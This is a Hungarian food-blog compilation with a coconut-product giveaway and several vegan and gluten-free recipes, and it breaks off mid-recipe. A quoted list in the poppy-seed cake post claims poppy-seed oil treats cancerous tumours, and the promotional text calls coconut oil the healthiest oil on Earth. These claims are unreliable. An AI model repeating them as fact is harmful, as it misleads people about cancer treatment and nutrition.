Nyeremény : a jó hírem, hogy a kiváló minőségű Banaban termékek forgalmazója a Bio Kókusz felajánlott 1 üveg bio extra szűz kókuszolajat és 1 csomag bio kókuszlisztet egy szerencsés nyertesnek.
A friss kókuszdióból hidegen sajtolt extra szűz bio kókuszolaj a legegészségesebb olaj a Földön, mert az általa kínált csodálatos, egészségre gyakorolt jótékony hatás sehol nem található meg olyan nagy mennyiségben a természetben, mint az extra szűz bio kókuszolajban. A kókuszliszt gluténmentes, hipoallergén valamint rendkívül magas arányban tartalmaz fehérjét és élelmi rostokat, szénhidrát tartalma pedig alacsony. Fogyasztása kedvezően hat az emésztésre, ezért ideális választás az alacsony szénhidráttartalmú étkezési tervek és testsúlycsökkentő diétás programok részeként, valamint nagyszerű kiegészítője a paleolit étrendnek. A BANABAN kókusztermékek szervezetünk számára fontos ásványi anyagok, vitaminok, nyomelemek természetes forrása, a vitalitás, egészség és jó közérzet alapja.
Menjetek fel a Bio Kókusz oldalára és írjátok meg ide a bejegyzés alá kommentben, hogy ti melyik kókuszos terméket próbálnátok ki leginkább és mit készítenétek belőle! Kérem, hogy az alábbi formula minden pontját értelemszerűen hajtsátok végre (írjatok kommentet és lájkoljátok a Bio Kókusz Facebook oldalát, de ezt itt a formulában is jelöljétek be, különben nem kerültök bele a kalapba)!
a Rafflecopter giveaway
Szabályok : 2015. június 10-14-ig tart a játék. Eredményhirdetés 2015. június 15-én. A nyertest emailben fogom értesíteni, majd a neve kikerül a blogra (ez a bejegyzés fog frissülni). A nyertes a nyereményt személyesen veheti át (Budapesten vagy 20 km-es vonzáskörzetében).
Epres jégkrém
Jégkrémből sosem elég. Kedvenc gyümölcsömet, az epret előszeretettel használom édességekhez, a gyerekeim nagy örömére. Tavaly vettem egy 6 db-os jégkrémformát, így a fagyasztása is roppant egyszerű. Természetesen fagylalt is lehet belőle, ebben az esetben a fagyasztás során óránként jó alaposan keverjük fel. Kb. 5 óra elteltével kész is a fincsi epres fagyi. Hozzávalók: - 2,5 dl kókuszkrém - 30 dkg érett, hazai eper - 2 evőkanál juharszirup - 1 kávéskanál vaníliapor - 1/2 kávéskanál fahéj - löttyintésnyi rum vagy gyógybor Elkészítése: - Az epret alaposan mossuk meg, majd mindent turmixoljunk össze. - Töltsük meg a jégkrémformát, és fagyasszuk készre.
Spenótos-tejszínes tészta
Ha már nagyon éhes vagy, és nincs ötleted, hogy mit készíts vacsorára.... na, akkor ezt készítsd el. Hamar elkészül, fél óra elteltével már tálalhatjuk is. Tavasszal vághatunk bele egy marék medvehagymát is. Hozzávalók (2 adag) - 2 sárgarépa - 2 nagy marék spenót - 2-3 gerezd fokhagyma - 1-2 dl rizstejszín - himalája só - bors - 1 kiskanál kurkuma - 1 evőkanál kókuszolaj - 30 dkg gluténmentes tészta Elkészítése: - Tegyünk fel egy lábasban vizet főni, melybe tegyünk 2 teáskanál sót. Főzzük ki benne a tésztát. - Közben a sárgarépát és a fokhagymát tegyük be a késes aprítóba, jó morzsás legyen. - A spenótot késsel vágjuk kisebb darabokra. - Egy lábasba felmelegítem a kókuszolajat, majd a fenti darálékot puhára párolom. - Fűszerezzük sóval, borssal és a kurkumával. - Ha megpuhult, öntsük fel annyi tejszínnel, hogy kellemes állagú tésztára való mártást kapjunk. - A kifőtt tésztát szűrjük le, majd öntsük rá a mártást.
Kesudió palacsinta
2015. május 27. Mindennapi ételeink
Palacsinta, ami gluténmentes, habkönnyű és nagyon finom! A kesudiót és a rizslisztet szintén a Naturpiactól kaptuk. Hozzávalók: 12 dkg kesudió 1 bögre (2,5 dl) rizsliszt 1 ek. méz 2 ek. stevia por kb. 2 csésze víz 1,5 csipet só 1 ek. kókuszzsír 1 tk. kurkuma Elkészítés: A hozzávalókat kelyhes mixerbe tesszük (először a kesudiót, majd a vizet, lisztet, kókuszzsírt és mézet), és homogén tésztát készítünk. Olajjal kikent tepsiben hagyományos módon megsütjük.
Vegán mentás zöldborsós kölesfasírt
2015. május 25. Zizi kalandjai
Ezeket a fasírtokat a Food Revolution Day örömfőzésére készítettem… mármint a receptet, aztán persze ott együtt is elkészítettük. Be kell valljam, hogy a közös főzésen a többiek sokkal jobban ízesítették, mint én otthon. Valahogy bátrabban használták a fűszereket, mindenből egy kicsit többet raktunk bele és így finomabb és ízesebb lett.
Mi szezámmagos citromos pirított zöldspárgával ettük, amivel egy könnyű ebédet tesz ki, de kiválóak lehetnek ezek a fasírtok piknikezéshez is. Csomagoljunk mellé salátát, ropogós bagettet és már tekerhetünk is bringával a legközelebbi parkba.
Vegán mentás zöldborsós kölesfasírt
Hozzávalók 4-6 főre (kb. 20-25 db):
– 300 g köles
– 200 g zöldborsó (friss vagy fagyasztott)
– 2 evőkanál chia mag
– 6 evőkanál víz
– 3-4 szál újhagyma, felaprítva
– 2 gerezd fokhagyma, felaprítva
– 1 csokor petrezselyem, felaprítva
– 4 evőkanál frissen facsart citromlé
– néhány friss mentalevél, felaprítva
– só, bors
– olívaolaj/kókuszzsír
A kölest mossuk át tiszta vízzel, majd öntsük egy lábasba. A 300 g mennyiség kb. 1,5 bögrényinek felel meg, tehát 3 bögrényi (250 ml-es bögrét használjunk) vízzel öntsük fel a kölest és közepes lángon főzzük puhára. Tegyük félre kihűlni.
Egy kis tálkában keverjük össze a chia magot a vízzel és hagyjuk állni 6-8 percig, amíg kocsonyás állagú lesz.
Egy lábasban forraljunk vizet és blansírozzuk meg a borsót 2 perc alatt. Szűrjük le és a borsó egyharmadát pürésítsük botmixerrel.
Egy nagy tálban keverjük össze a kihűlt kölest az összes többi hozzávalóval, a pürésített és egészben hagyott zöldborsóval és a vizes chia maggal. Gyúrjuk össze és ízesítsük ízlésünk szerint még több sóval vagy borssal. Tegyük a hűtőbe 15-20 percre, hogy a fasírt tésztája jól összeálljon. Pingpong labda vagy kicsit nagyobb nagyságú golyókat formázzunk belőle, tenyerünkkel lapítsuk le és egy kevés kókuszzsírban vagy olívaolajban süssük ki a fasírtokat teflon serpenyőben közepes láng felett.
Nagyon mákos nagyon epres tortácska (laktózmentes, cukormentes, vegán)
nagyon mákos nagyon epres tortácska (laktózmentes, cukormentes, vegán) Nagy örömünkre még mindig eper szezon van! :-) Pár bejegyzéssel ezelőtt hoztam nektek egy csokis-epres, nyers, vegán pohárkrémet, amit nagyon szerettetek. Olyan nagy sikere volt, hogy gondoltam nem bánjátok ha készítek nektek egy újabb epres édességet. Ezúttal nem voltam olyan szigorú, és bár ez a sütemény, nem nyers, és nem is gluténmentes, azért még mindig könnyen emészthető, cukor-, fehér liszt- és laktózmentes, illetve rengeteg tápanyagban és vitaminban gazdag hozzávalót tartalmaz! A sütés és a kézügyesség nem az erősségem, ezért valószínűleg nem leszek cukrász, de azért remélem tetszeni fog nektek ez a nagyon mákos, nagyon epres sütemény. Mák imádók előnyben! ;-) nagyon mákos nagyon epres tortácska (laktózmentes, cukormentes, vegán) "A mák tápanyagtartalma: o 1 teáskanál mák 0,6 gramm makromolekulát, 3,7 gramm zsírt, 2,5 gramm szénhidrátot és 46 kalóriát tartalmaz. o A mákban nagy mennyiségben találhatóak ásványi anyagok, például 29% mangán és 13% kalcium. o A mák nem okoz allergiás tüneteket, ezért a várandós nők és a gyerekek is fogyaszthatják. A mák egészségre gyakorolt jótékony hatása: 1. A mák hatékonyan oltja a szomjat, csökkenti a lázat, a gyulladást, enyhíti a székrekedést és az alhas irritációját. 2. A mák az egyik fontos hozzávalója a hűsítő és nyugtató gyógyszereknek. 3. A mák olyan ásványi anyagokkal látja el a szervezetet, mint a jód, mangán, cink, magnézium és réz. 4. A mák magjaiból kivont olaj hatékony a rákos daganatok kezelésében, mivel egyszeresen telítetlen zsírsavakat tartalmaz. 5. A mákkal ízesíthető a kenyér, keksz, muffin, sütemény és más ételek is. 6. Az Ajurvédikus gyógyászatban a mákok néha megőrlik, majd tejjel elkeverve krémet készítenek belőle, amely bőrmegújító hidratálókrémként funkcionál. 7. A mák linolén savat tartalmaz, amellyel hatékonyan meggátolható a szív- és alhasi problémák kialakulása. 8. A mák egész nagy mennyiségű zsírsavat tartalmaz, amelyek a szervezet mentális állapotának fenntartásához szükségesek. Ezenkívül a mák gazdag omega-3 zsírsavakban. 9. A mákot narkotikumként is használják fájdalom esetén. Ezenkívül a légzési problémák, fertőző betegségek, hasmenés és alvászavar kezelésénél használják. 10. A mák viszonylag kevés mennyiségű alkaloidot tartalmaz, ezért számos idegprobléma kezelésénél használják. 11. A mákkal hatékonyan kezelhető az ekcéma, mivel a máknak magas a linolén sav tartalma. 12. A mák, jó hidratáló. 13. Mákos bőrradírral a bőre tiszta és ragyogó lesz. 14. Mákos hajpakolás rendszeres használatával jelentősen visszaszorítható a korpásodás mértéke. 15. Serkenti a hajnövekedést" Forrás: Dr.Tihanyi nagyon mákos nagyon epres tortácska (laktózmentes, cukormentes, vegán) HOZZÁVALÓK: tésztához: (18 cm-es torta formához) - 2 db érett banán leturmixolva - 2 ek Agave szirup (vagy magas minőségű méz) - 1 dl növényi tej (pl.: mandula tej) - 100 g mandulaliszt (darált mandula) - 1 kk szódabikarbóna - 100 g zabliszt (darált zabpehely) - 80 g mák (meg is darálhatjuk, de szerintem egész szemű mákkal finomabb) - 2 dl natúr szója joghurt - 1 db citrom reszelt héja (kezeletlen héjú citrom) epres töltelékhez: - kb. 500 g friss és édes eper - 100 g friss málna - 2 ek Agave szirup - 2 ek útifűmaghéj ELKÉSZÍTÉS: Egyáltalán nem bonyolult ez a torta, bárki elkészítheti, aki türelmes. Hogy miért kell türelmesnek lenni? Mert sokat kell közben várni... várni míg kihűl...várni míg összeáll...várni míg... és végre: megehetjük! :-) nagyon mákos nagyon epres tortácska (laktózmentes, cukormentes, vegán) A tészta, egy már korábban készített mákos-banános süti receptje alapján készül. A banán pépet keverjük össze az édesítővel, a mandula tejjel, és a joghurttal. Egy másik edényben keverjük össze a liszteket, a szódabikarbónával, a citrom reszelt héjával, és a mákkal. Majd a két tál tartalmát öntsük egybe, és addig keverjük őket, míg egynemű nyers tésztát nem kapunk. A sütőt melegítsük elő 180°C-ra, és 25 perc alatt süssük készre a torta alapot a kókuszzsírral kikent torta formánkban. Ezekhez az adagokhoz én egy 18 cm-es torta formát használtam. Attól függően, hogy te kedves olvasó mekkora formát használsz, attól függően lesz a torta tészta alacsonyabb, vagy magasabb. Amikor elkészült a tészta, hagyjuk egy kicsit hűlni a formában, majd vegyük ki a formából, és hagyjuk teljesen kihűlni. (Tegyük hűvösebb, de nem hideg helyre, hogy gyorsítsuk a folyamatot). Miután teljesen kihűlt egy nagy kés segítségével vágjuk 2-3-4 rétegbe a torta lapot, attól függően, hogy milyen magas lett a tészta. (A szép vágáshoz használhatunk egy nagy és éles kést, ami túlnyúlik a tésztán, vagy egy erős cérnát, amit keresztül húzunk a torta tészta belsején, átlóban.) Hagyjuk a szétvágott tészta lapokat is teljesen kihűlni, és kicsit megszáradni. Miközben hűl a torta tészta, készítsük el a nagyon egyszerű epres tölteléket. :-) Tegyünk félre az eperből későbbre díszítésnek a torta tetejére. A többi epret a málnával (miután megmostuk) törjük össze egy tálban egy villával, úgy, hogy maradjanak benne nagyobb darabok is. Keverjük hozzá az Agave szirupot, és 2 ek útifűmaghéjat, ami segít bekocsonyásítani az eperkrémet. Tegyük az egész eper masszát a hűtőbe min.1 órára. Miután letelt az 1 óra, és az eper állaga "ellekvárosodott" a hűtőben, kenjük meg a tészta rétegeket bő epres töltelékkel, rakjuk össze a tortát, és díszítsük a tetejét friss eper darabokkal. (Ez a tészta egy puha tészta a zab és mandula miatt, ezért bánjunk vele óvatosan. Ha az eperkrém túl híg, mert az eper vagy a málna túl vizes volt, akkor csepegtessük le egy szűrőben a felesleges folyadékot .) Miután úgy néz ki a torta, ahogy mi szeretnénk tegyük vissza az egészet a hűtőbe. Kb. 2-3 óra múlva már tálalhatjuk is ezt a nagyon mákos nagyon epres desszertet! :-) nagyon mákos nagyon epres tortácska (laktózmentes, cukormentes, vegán) Tápanyagban gazdag, jó nassolást kívánunk! ;-) Megjegyzés1: Mint minden mákos ételbe, ebbe a süteménybe is belecsempészhetünk chia magot, ezzel is növelve az édesség tápanyagértékét. Megjegyzés2: Válasszunk friss, kis gazdaságból, bio piacról származó epret, hogy a természetes íze, zamata, és illata megédesítse a süteményünket. Íztelen és kemény eperből nem lesz finom desszert, mert ebben a receptben is a naturális íze dominál a gyümölcsnek!
5 kedvenc epres ételem
2015. május 20. Gréta konyhája
Az eper megunhatatlan, s bár szezonja alig másfél hónapig tart, nem lehet belőle eleget enni. Mindamellett, hogy zsírégető, és tisztító hatású nagyon finom is, akár édesen, de sósan is elkészíthető. Az epret vétek megsütni vagy megfőzni, ezért összegyűjtöttem az 5 kedvenc cukormentes, nyers, gluténmentes, epres receptemet.
Jó étvágyat!
Epermousse (főzésmentes, gluténmentes)
2 bögre mosott, darabolt eper
3 dl selyem (silken) tofu
2 ek agavé nektár vagy stevia cseppek
1 ek olvasztott nyers kókuszolaj
csepp vanília aroma
Az epret egy turmixgépbe tesszük az agavé-vel, vaníliával és lepürésítjük, mozgás közben hozzáadjuk a selyemtofut, majd a nyers kókuszolajat is belecsurgatjuk. 1 percig összeturmixoljuk. Kis poharakba töltjük, és minimum 2 órára hűtőben hűtjük.
Epres banánfagyi (mindenmentes)
1 bögre fagyasztott eper
2 bögre fagyasztott banánkarika (érdemes egyben fagyasztani a banánt, már két nappal előtte. a banán érett legyen!!!)
3 ek mandulatej (vagy bármilyen növényi, amit szeretsz)
Először az epret a mandulatejjel aprítom, én ezt a turmixgép jégkocka funkciójával művelem. Majd jöhet hozzá a banán, addig turmixolom, míg habos, fagyikrémes lesz. Azonnal fogyasztható!
Epres-újhagymás salsa szósz:
1-2 bögre mosott eper kisebb kockákra darabolva
3 szál zsenge újhagyma karikára vágva
öntet:
1 gerezd préselt fokhagyma
tiszta só, bors
1 ek sötét balzsamecet vagy fél citrom leve
1 ek juharszirup (vagy agave, vagy rizs)
Az epret és a vékonyra felkarikázott újhagymát egy szószos tálba tesszük. Összekeverjük a dresszinget, majd leöntjük vele az epres hagymás keveréket és pár órára állni hagyjuk. Nagyszerű mondjuk kukorica torttilával, vagy csicseriborsó lepénnyel, bármilyen sült tofuhoz, mártogatósként, köretként.
Tavaszi epersaláta:
Egy nagy salátástálba belevágjuk a kedvenc tavaszi zöldjeinket, pl spenót, sóska, fejes saláta, újhagyma, petrezselyem, jól összeforgatjuk, készítünk hozzá egy édes savanyú vinaigrette öntetet, pl a fenti balzsameceteset, majd hozzávágunk szép szeletekre, 2 marék epret, meglocsoljuk az öntettel, összekeverjük, és vagy magában, vagy köretként, bármilyen napszakban, bármivel fogyaszthatjuk.
Pink power smoothie: (tökéletes edzések után)
2 bögre eper
3-4 dl mandula, mogyoró-, vagy kókusztej
3 banán
1 ek vörös szőlőmag őrlemény
1 ek kendermag őrlemény
csipet tiszta só
pici vanília kivonat
1 adagolókanál (20 gramm) vegan protein (rizs, vagy borsófehérje, de NEM szójaizolátum!
Mindent egy nagy turmixkehelybe rakunk, és jól összeturmixoljuk!
Jó étvágyat!
Ropogós répafasírt (vegán, gluténmentes)
Ha van egy csomó répa az éléskamrádban vagy a hűtődben és nem tudod, mit is kezdj vele, mert már készítettél belőle főzeléket, felhasználtad leveshez, stb., akkor lehet, hogy nem is gondoltál még arra, hogy ropogósra sült fasírtkorongokat is alkothatsz. Az alábbi recept gluténmentes, de ha ehhez nem ragaszkodsz, a kukoricadara helyett búzadarát is használhatsz, a rizsliszt helyett pedig zsemlemorzsát. Egy adag saláta, néhány korong fasírt és jól is laksz. Fogyókúrázóknak , diétázóknak is ajánlott étel.
A recept:
Hozzávalók:
20 dkg répa enyhén megpárolva
kukoricadara
rizsliszt
lenmag őrlemény (elhagyható)
medvehagyma (elhagyható)
ételízesítő (nekem házi)
fokhagyma
só
víz
kevés olaj vagy kókuszzsír
Elkészítés:
A répát lereszeljük vagy karikákra vágjuk. Kevés sós vízen megpároljuk. Főzés után hozzákeverjük az apróra vágott medvehagymát és fokhagymát, kukoricadarát és egy kevés rizslisztet keverünk hozzá, hogy jól formázható legyen. Ha szükséges, sózzuk egy picit. Én lenmag-őrleményt is tettem bele, de ez nem kötelező. Akik a sötétebb színű fasírtokat kedvelik, fűszerpaprikát is tehetnek hozzá. A masszát jól átkeverjük, korongokat formálunk belőle és sütőpapíros (vagy szilikonos) tepsiben sütjük meg, de előtte a korongok tetejét egy kevés olajjal megkenjük. Kb. 20 perc sütés után a korongokat megfordítjuk és még kb. 10-15 percet sütjük. Salátával, párolt zöldséggel nagyon finom. De szendvicsfeltétként is fogyaszthatjuk kenyérhez vagy valamilyen (sós) péktermékhez (kifli, zsömle, stb.). Ropogós fasírtkorongok lettek.
Tipp:
Formázás előtt, érdemes egy kis tálkába vizet készíteni és a kezünket abba mártani, így minden korong könnyebben elválik a kezünktől.
Paprikakrémes pirított burgonya avokádós uborkasalátával
Imádom a paprika édességét, a krumpli ropogósságát és a saláta frissességét. Tökéletes étel ebédre, vagy akár vacsorára is. Hozzávalók (2 adag): - 2 marék kockára vágott krumpli - 1 szelet kápia paprika - 2 újhagyma - himalája só - kókuszolaj Paprikakém: - 1 nagyobb kápia paprika - 2 gerezd fokhagyma - 1 újhagyma - himalája só, bors, chili - kókuszolaj Saláta: - 4-5 uborka - 1 kisebb fehér retek - 1 újhagyma - 1/2 avokádó - 1 kávéskanál mustár - himalája só - citromlé Elkészítése: Egy serpenyőben felhevítjük az olajat, majd beledobjuk a krumplit. (Ha többet szeretnénk készíteni, akkor tepsiben is megsüthetjük.) Sózzuk meg.Amikor már szépen pirul a krumpli, adjuk hozzá a felkockázott hagymát és a paprikát. Süssük még együtt úgy 10 percig.A paprikakrémhez a kápia paprikát szeleteljük fel, majd egy serpenyőbe süssük meg. Egy kevés olajat tehetünk alá, és meg is sózhatjuk. A fokhagymát is adjuk mellé.Amikor szépen megpirult/megpuhult a paprika, botmixerezzük össze a fokhagymával és az újhagymával. Sózzuk, borsozzuk.Tálalás előtt keverjük össze a krumplival.A salátához gyufaszálra vágjuk az uborkát és a retket. A puha avokádót gyúrjuk hozzá. Sózzuk, adjuk hozzá a mustárt és a felszeletelt újhagymát.
Spárgás Quiche tofuval és nyers zöldségsalátával (gluténmentes)
Mint, ahogy azt már megszokhattátok tőlem, ezen a gasztroblogon sokszor hozok nektek nemzetközi konyhákból származó ételeket, ízeket, melyekkel általában utazásaink vagy kölünböző kultúrájú barátaink révén találkozunk. Ez a bejegyzés is egy ilyen népszerű francia receptről fog szólni. Gluténmentes spárgás Quiche tofuval Az egyik kedvenc vegetáriánus éttermünk kínálatában rendszeresen találkozunk a francia konyha egyik hagyományos ételével, a Quiche - vel. Ezt az omlós tésztaágyon fekvő tojásos lepényt, a szezonnak megfelelően gazdagíthatjuk az éppen aktuális zöldségekkel. Így nem lesz unalmas, és mindig értékesebbnél értékesebb tápanyagtartalommal bírhat, ha az évszaknak megfelelő zöldséggel készítjük el. Egy könnyed és lágy fogás a tojást kedvelőknek, akár reggelire is. :-) "Quiche (ejtsd: kis) a franciák pizzája, egy klasszikus francia étel, melynek alapgondolata a következő: egy omlós tésztaágyon pihenő, gazdag feltéttel megpakolt, tejszínes tojással összesütött lepény. A quiche a francia konyha hagyományos étele, jó tulajdonságai népszerűvé teszik az egész világon. Előre elkészíthető, melegen és hidegen is fogyasztható, kiválóan melegíthető és könnyen csomagolható. Eredete Németországba vezet, ahol a német határ közelében vasserpenyőben készítették. Neve a német kuchen (=sütemény) szóból franciásodott quiche-re. Aquiche a második világháború után vált népszerűvé Angliában, az USA-ban pedig a 1950-es években. Mára már egészFranciaországban elterjedt és közkedvelt étel, mivel szinte minden maradék alapanyagból, gyorsan elkészíthető a család ízlése szerint." Forrás: Wikipedia Az egyik aktuális szezonális zöldség a spárga. Jellegzetes íze, és kemény állaga nem éppen teszi népszerű zöldséggé. Jótékony hatásai miatt azonban érdemes megtalálni a módját, hogy milyen formában fogyasszuk szívesen. Egy korábbi bejegyzésben, amikor zöld spárga pesztós spagettit készítettünk, már volt szó a zöld spárga jótékony hatásairól, vitamin-és ásványi anyag tartalmáról, ezért erről most nem tennék itt említést. Nem régóta ismerem a Quiche-t, de szerelem volt első kóstolásra, és azonnal tudtam, hogy ezt nekem, otthon is el kell készítenem! Mivel ez egy új terület számomra, ezért keresgéltem egy kicsit a neten, és a Fitway oldalán találtam is egy számomra megfelelő alap Quiche receptet, amit a saját ízlésünkre formálva elkészítettem. Nagy szeretettel osztom meg veletek is, ezt a francia klasszikust, az évszaknak megfelelően természetesen spárgával. :-) Gluténmentes spárgás Quiche tofuval HOZZÁVALÓK: ( kb.6 személyre) a töltelékhez - 1/2 bögre reszelt parmezán sajt - 1 közepes lila hagyma apróra vágva - 2 gerezd fokhagyma (fokhagymanyomóval összepréselve) - 1 evőkanál kukorica liszt - 1 köteg zöld spárga - 200 g GMO mentes natúr tofu apróra morzsolva - 1/2 bögre rizstej - 5 db bio tojás - Himalája só tetszés szerint, frissen őrölt fekete bors ízlés szerint , 1/2 tk szárított oregánó - 1 kisebb csokor friss petrezselyem - 3 db nagyobb friss bazsalikom levél - opcionálisan - 2 ek sörélesztő pehely tálaláskor a tésztához - 1 bögre (barna) rizsliszt - 1 bögre kukorica liszt - 0,5 tk szódabikarbóna - csipet Himalája só - 1/8 bögre kókuszzsír (olajként) - 1/2 bögre rizs tej - 1/4 bögre meleg víz Gluténmentes spárgás Quiche tofuval ELKÉSZÍTÉS:A tésztához a száraz és folyékony alapanyagokat keverjük össze külön külön, majd gyúrjuk egybe őket. Addig gyúrjuk a tésztát, míg egynemű és könnyed nem lesz. Ha kész a buci, tegyük félre letakarva meleg helyre állni kb.1 órát. Közben tegyünk fel egy nagy lábasban vizet forrni. Amint elkezd forrni, dobjuk bele az előre megmosott spárgákat. (ha nagyon fás a vége, azt vágjuk le, és dobjuk ki.) 2 perc után szedjük ki, és folyó hideg víz alatt öblítsük le őket. Majd vágjunk belőle 4-5 cm-es darabokat. Keverjük össze a tojást, a sót, a borsot, az apróra vágott friss petrezselymet,az oregánót, a szétmorzsolt tofut, az apróra vágott lila- és fokhagymát, a rizs tejjel, majd szórjuk bele a blansírozott spárga darabokat. (Tegyünk félre pár darabot a tetejére díszitésnek). Vissza a tésztához... Az apróra vágott friss bazsalikommal és a reszelt parmezán egy részével szórjuk be a gyúródeszkát. A pihent és kissé megkelt tésztát nyújtsuk ki a bazsalikomos-parmezános keveréken kicsit nagyobbra, mint amekkora a sütőformánk. A kinyújtott tésztát borítsuk a sütőformába úgy, hogy a széleit a sütőforma oldalához igazítjuk, körülbelül 2 centi magasan. Öntsük a közepébe a tojásos keveréket, majd szórjuk meg a maradék spárgával és parmezánnal a tetejét. (Használjunk jó minőségű sütőpapírt a sütő forma és az étel közé.) Gluténmentes spárgás Quiche tofuval 200 °C -ra előmelegített sütőben 30-35 perc alatt süssük készre a francia fogásunkat. Tálalás előtt hagyjuk állni, és hűlni egy 10 percet, hogy a tészta könnyedén leváljon a sütőpapírról. Szórjuk meg sörélesztő pehellyel, és tálaljuk friss nyers zöldségsalátával a könnyed, és ízletes főételünket. Gluténmentes spárgás Quiche tofuval, nyers zöldségsalátával Tápanyagban gazdag jó étvágyat kívánunk! A nyers zöldségsalátához összekevertem 1 db érett avokádót, 1 db pritamin paprikát, 2 db nagyobb sárgarépát, 5 szem retket, 5 szem koktél paradicsomot és 1 szál póréhagymát. Ezeket előre összedaraboltam, és betettem a hűtőbe, hogy összeérjenek az ízek.
Baracklekváros-mandulás linzer
Készítettem már korábban is linzert, de most kihagytam belőle a tojást, és vaj helyett kókuszzsír került bele. Holnap szülinapi és névnapi bulira készítettem, remélem az osztálytársaknak is ízleni fog. A párom gyorsan szakvéleményt állított ki, melynek az eredménye: FINOM. Hozzávalók: - 30 dkg teljes kiőrlésű tönkölyliszt - 10 dkg fehér tönkölyliszt vagy BL80-as liszt - 5 dkg mandula - 15 dkg kókuszvirágcukor - 1 csomag sütőpor - 1 kávéskanál vaníliapor - 60-70 ml növényi tej - 20 dkg kókuszzsír - csipet só - Töltelék: házi baracklekvár mézzel édesítve és vaníliapor is került bele - Tetejére: nyers csoki Elkészítése: A blansírozott mandulát száraz serpenyőben megpirítom, majd kávédarálón megdarálom.Kimérem a lisztet, hozzáadom a többi száraz hozzávalót is.Szétmorzsolom benne a kókuszzsírt, majd apránként adagolom hozzá a tejet. Könnyen gyúrható, puha tészta legyen.Beteszem a hűtőbe úgy 1 órára.Előmelegítem a sütőt 180 fokra.A tésztát 2-3 mm vastagra kinyújtom, és kiszaggatom.180 fokon, 10-12 perc alatt kisütöm. Megtöltjük a lekvárral, és a tetejét megcsorgatjuk csokival.
Nyers, kakós narancstorta
A megadott mennyiségek egy 22cm-es (8-10 szeletes) tortához elegendőek.
Mint minden ételnél, itt is meghatározó az alapanyagok íze és minősége. Ha igazán finom narancstortát szeretnél, akkor olyan narancsot használj amit magában is szeretsz. Van akinek a savasabb és van akinek az édesebb fajta jön be jobban. Én az édes, lédús, mégis savanykás fajtát részesítem előnyben. :)
Hozzávalók az alaphoz:
- 100g kókuszreszelék
- 150g őrölt lenmag
- 12db friss datolya (aszalatlan)
- 1,5dl turmixolt narancs (nem egészen 1db)
A krémhez:
- 1,2l turmixolt narancs (kb 6db)
- fél citrom leve (ha nem elég savanykás a narancs)
- 10ek kókuszolaj
- 20g holland kakópor
- 10db friss datolya kimagozva
- 5kk útifűmaghéj liszt
A fedő réteghez:
- 1 db narancs leturmixolva
- 5db friss datolya kimagozva
- 1kk fahéj
- 10ek kókuszolaj
A nyers, kakaós narancstorta elkészítése:
Az alaphoz szükséges dolgokat egy tálban kézzel összegyúrjuk, majd a tortaformába nyomkodjuk, úgy, hogy kb 4cm magas pereme legye a "tésztának". Ez körbeöleli majd a lágyabb, kakaós narancskrémet a torta közepén.
A krémhez az útifűmaghéj liszt kivételével mindent turmixgépbe rakunk, és homogénre turmixolunk. Amikor kész, akkor keverőtálba öntjük, és belekeverjük az útifűmaghéj lisztet is, majd beleöntjük a tortaformába.
Végül pedig a fedőréteg alapanyagait is turmixgében elturmixoljuk, és a torta tetejére öntjük. Hűtőbe tesszük egy éjszakára, és ízlés szerint díszítjük. Én a fedőrétegből 3-4 evőkanálnyit külön szedtem, kakaóport kevertem bele. A fedőrétek nagyobb részét beleöntöttem a tortaformába, és spirál alakban belecsorgattam a kakaós részt is. Végül egy fogpiszkálóval kialakítottam a márványos jellegű rajzolatot. Amikor megszilárdult, akkor díszíthetjük kedvünk, lehetőségeink és kreativitásunk szerint.
Áldott étkezést! :)
Kakuk Bálint
A második születésnapi torta
Noha itt a spárga és az eper szezon, most nem egy ilyen recepttel/bejegyzéssel jövök, hanem a szívemhez sokkal közelebb állóhoz. Április 30-án Ádi két éves lett! Hihetetlen, hogy elrohant az idő! Emlékszem még az első mérföldkőre – számomra, az első születésnap mérföldkőt jelentett -, nemrégen volt, most meg már ünnepeltük a másodikat. Gondolom ez így lesz a többivel is… rohan az idő, de a legfontosabb, hogy minőségi “tartalommal” és sok-sok kacagással megtöltsük.
A második születésnapi torta alapreceptje innen származik. Vegán banános, diós. Változtattam a liszt fajtáján, adtam hozzá darált mandulát is és külön csináltam hozzá egy csoki öntetet (ami most nem karobbal készült, hanem nyers kakaóporral). Egy egyszerű, de gazdag baba- és kisgyerek barát torta lett. Ádi nem igazán édesszájú. Noha megevett belőle egy vastag szeletet, többet nem kért. A család felnőtt tagjai áradoztak, hogy mennyire finom volt a torta, szóval, ha rájuk hallgattok, kipróbáljátok!
Boldog születésnapot kisfiunk! Nagyon-nagyon szeretünk téged! Anya és Apa
“Kettő éves lettem!”
“Szemügyre veszem, anya mit sütött nekem…”
“Nyamm!”
Vegán banános-diós torta csokoládé öntettel
Hozzávalók:
Tortához (18-20 cm-es kapcsos formához):
– 3 db érett banán, villával pépesre törve
– 1 bögre dió, durvára aprítva
– 1 bögre tönköly fehérliszt
– 1/2 bögre darált mandula
– 1/2 bögre hajdinaliszt
– 1/4 bögre mandulatej (rizs-, szója-, zabtej is használható)
– 6 evőkanál kókuszolaj (olvasztva)
– 6 evőkanál juharszirup (rizs-, agavé-, datolyaszirup és méz is használható)
– 1 teáskanál sütőpor
– 1 teáskanál szódabikarbóna
– 1/2 teáskanál só
– 1 vaníliarúd kikapart magjai
A csokoládékrémhez:
- 50-60 ml juharszirup
- 40 g kókuszzsír
- 20 g kakaópor/karobpor, szitálva
- 1 evőkanál mandulavaj
- csipet só
A sütőt melegítsük elő 180C fokra. A kapcsos formát kenjük ki egy kis kókuszzsírral, és szórjunk bele egy kevés lisztet és rázzuk össze úgy, hogy az oldalára is jusson a lisztből.
Egy tálban keverjük össze a száraz hozzávalókat: tönkölyliszt, darált mandula, hajdinaliszt, sütőpor, szódabikarbóna, só. Egy másik tálban keverjük össze a pépesre tört banánt a mandulatejjel, a kókuszolajjal, a juharsziruppal és a vaníliával. A nedves hozzávalókat, öntsük a szárazhoz, jól keverjük el, majd adjuk hozzá az aprított diót. Ezt a tésztát öntsük bele az előkészített formába, tegyük a sütőbe és süssük kb. 45-60 percig. Tűpróbával ellenőrizzük, hogy átsült-e! Hagyjuk a formában kihűlni.
A csokoládékrémhez egy lábasban melegítsük át a juharszirupot, a kókuszolajjal, a mandulavajjal és a kakaóval. A tűzhelyről levéve adjuk hozzá a csipet sót. A langyosra hűlt krémmel
A Föld Világnapja és a Csoki krémes szőlő torta, zöld tésztával (glutén- és laktózmentes) (zöld menüsor Szent Patrik napon 4.rész)
2015. április 23. Zöld Avocado
